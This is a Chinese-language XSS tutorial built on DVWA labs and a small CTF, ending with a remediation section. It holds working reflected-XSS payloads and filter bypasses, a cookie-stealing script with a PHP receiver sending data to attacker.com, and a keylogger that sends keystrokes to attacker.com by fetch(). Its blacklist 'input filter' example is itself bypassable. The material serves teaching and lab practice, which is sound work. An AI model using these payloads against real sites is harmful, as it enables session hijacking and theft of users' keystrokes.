XSS第2篇:反射型XSS实战
反射型XSS复习
反射型XSS特点:
- 恶意代码不存储在服务器端
- 一次性攻击,需要诱导用户点击
- URL参数中的XSS代码被服务器反射回页面
一、反射型XSS攻击流程
攻击步骤
1. 攻击者构造恶意URL
↓
2. 诱导受害者点击
↓
3. 服务器接收参数,未经处理直接返回
↓
4. 受害者浏览器执行恶意脚本
↓
5. 攻击成功(窃取Cookie/钓鱼等)
恶意URL示例
正常URL:
http://example.com/search?q=关键词
恶意URL:
http://example.com/search?q=<script>alert(1)</script>
短链接伪装:
http://tinyurl.com/xxx → 指向恶意URL
二、实战:DVWA低级别
环境说明
DVWA(Damn Vulnerable Web Application)是最经典的Web安全靶场。
题目代码
// DVWA Low级别
<?php
echo "<pre>Hello, " . $_GET['name'] . "</pre>";
?>
分析: 直接输出GET参数,无任何过滤。
漏洞利用
Payload:
http://dvwa.local/vulnerabilities/xss_r/?name=<script>alert(1)</script>
效果: 弹出alert框。
多种利用方式
| 方式 | Payload | 说明 |
|---|---|---|
| script标签 | <script>alert(1)</script> |
最直接 |
| img标签 | <img src=x onerror=alert(1)> |
加载失败触发 |
| svg标签 | <svg onload=alert(1)> |
加载时触发 |
| body标签 | <body onload=alert(1)> |
加载完成触发 |
三、实战:DVWA中级别
题目代码
// DVWA Medium级别
<?php
$_GET['name'] = str_replace('<script>', '', $_GET['name']);
echo "<pre>Hello, " . $_GET['name'] . "</pre>";
?>
分析: 使用str_replace()过滤了<script>标签,但只过滤一次,可以双写绕过。
绕过方法
方法1:双写绕过
<scr<script>ipt>alert(1)</script>
过滤后变成:
<script>alert(1)</script>
方法2:其他标签绕过
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>
四、实战:DVWA高级别
题目代码
// DVWA High级别
<?php
$_GET['name'] = preg_replace('/<script>(.*?)<\/script>/', '', $_GET['name']);
echo "<pre>Hello, " . $_GET['name'] . "</pre>";
?>
分析: 使用正则表达式过滤,会匹配并替换<script>...</script>标签。
绕过方法
<img src=x onerror=alert(1)>
<body onload=alert(1)>
<svg onload=alert(1)>
五、Cookie窃取实战
攻击原理
<!-- 窃取Cookie的Payload -->
<script>document.location='http://attacker.com/steal.php?c='+document.cookie</script>
攻击步骤
- 攻击者搭建接收服务器
<?php
// steal.php
$cookie = $_GET['c'];
file_put_contents('cookies.txt', $cookie . "\n", FILE_APPEND);
?>
- 构造恶意URL
http://example.com/search?name=<script>document.location='http://attacker.com/steal.php?c='+document.cookie</script>
-
诱导受害者点击
-
获取Cookie
# 查看窃取的Cookie
cat cookies.txt
六、键盘记录攻击
代码
<script>
document.onkeypress = function(e) {
fetch('http://attacker.com/log?key=' + e.key);
}
</script>
完整攻击脚本
<script>
document.onkeypress = function(e) {
fetch('http://attacker.com/logger.php?data=' + encodeURIComponent(e.key));
}
</script>
七、绕过URL编码
问题
有些WAF会检测URL中的<script>,但GET参数通常会被URL编码。
原理
服务器收到URL参数后会进行URL解码,所以即使WAF拦截了编码后的%3Cscript%3E,服务器端解码后仍然是<script>。
Payload
# 编码后
http://example.com/?name=%3Cscript%3Ealert(1)%3C/script%3E
八、实战CTF题目
题目:Reflected XSS
题目描述:
找到页面中的XSS漏洞,弹窗获取flag
页面分析:
<?php
$search = $_GET['search'];
?>
<h1>搜索结果</h1>
<p>您搜索的是:<?php echo $search; ?></p>
解题:
Payload:
?search=<script>alert(1)</script>
九、防御与修复
输入过滤
<?php
// 过滤危险标签
$search = preg_replace('/<script>/i', '', $search);
$search = preg_replace('/<img/i', '', $search);
?>
输出编码(推荐)
<?php
// HTML实体编码
$search = htmlspecialchars($search, ENT_QUOTES, 'UTF-8');
echo $search;
?>
完整防御示例
<?php
function safe_output($data) {
if (is_array($data)) {
return array_map('safe_output', $data);
}
return htmlspecialchars($data, ENT_QUOTES, 'UTF-8');
}
$search = $_GET['search'];
echo safe_output($search);
?>
浙公网安备 33010602011771号